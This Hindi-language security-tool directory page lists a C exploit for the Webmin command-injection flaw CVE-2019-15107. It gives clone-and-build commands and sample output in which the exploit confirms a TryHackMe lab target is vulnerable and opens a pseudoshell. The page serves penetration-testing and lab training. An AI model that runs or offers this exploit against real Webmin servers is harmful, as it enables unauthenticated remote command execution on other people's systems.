Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2019-15107 — CVE-2019-15107 Webmin एक्सप्लॉइट C में | Kitploit
उपकरण/GitHubGitHub/whokilleddb/cve-2019-15107
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलपेलोड डेवलपमेंट
GitHubwhokilleddb/cve-2019-15107

CVE-2019-15107

CVE-2019-15107 Webmin एक्सप्लॉइट C में

रिपॉजिटरी देखें
314 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2019-15107 वेबमिन एक्सप्लॉइट

CVE-2019-15107

एक समस्या Webmin <=1.920 में पाई गई। password_change.cgi में old पैरामीटर में कमांड इंजेक्शन की कमजोरी है। [NVD]

संकलन

root@kitploit:~
$ git clone https://github.com/whokilleddb/CVE-2019-15107
$ cd CVE-2019-15107
$ make

उपयोग उदाहरण

root@kitploit:~
$ ./exploit http://thomaswreath.thm:10000
[+] CVE-2019-15107 Webmin Unauhenticated Remote Command Execution
[+] Target URI: http://thomaswreath.thm:10000

======Headers======
HTTP/1.0 200 Document follows
Server: MiniServ/1.890
Date: Sat, 14 Aug 2021 23:40:01 GMT
Content-type: text/html; Charset=iso-8859-1
Connection: close

[~] The Given Server Is Running In SSL MODE
[+] Switching To SSL
[+] The Given Server Might Be Vulnerable To CVE-2019-15107
[+] The Given Server IS VULNERABLE To CVE-2019-15107
[+] Starting Pseudoshell
[+] Maximum Command Length(CMD_SIZE) Is Set To: 2048
[+] To Exit, type: exit()

नोट: यह एक्सप्लॉइट TryHackMe's Wreath Network को आज़माने के दौरान बनाया गया था, इसलिए यहाँ दिखाया गया उदाहरण उस बॉक्स के अनुरूप है।

सामान्य प्रश्न (FAQ)

प्रश्न : C क्यों, Python3 क्यों नहीं?

उत्तर : क्योंकि मैं एक मनोरोगी हूँ

टूल डाउनलोड करें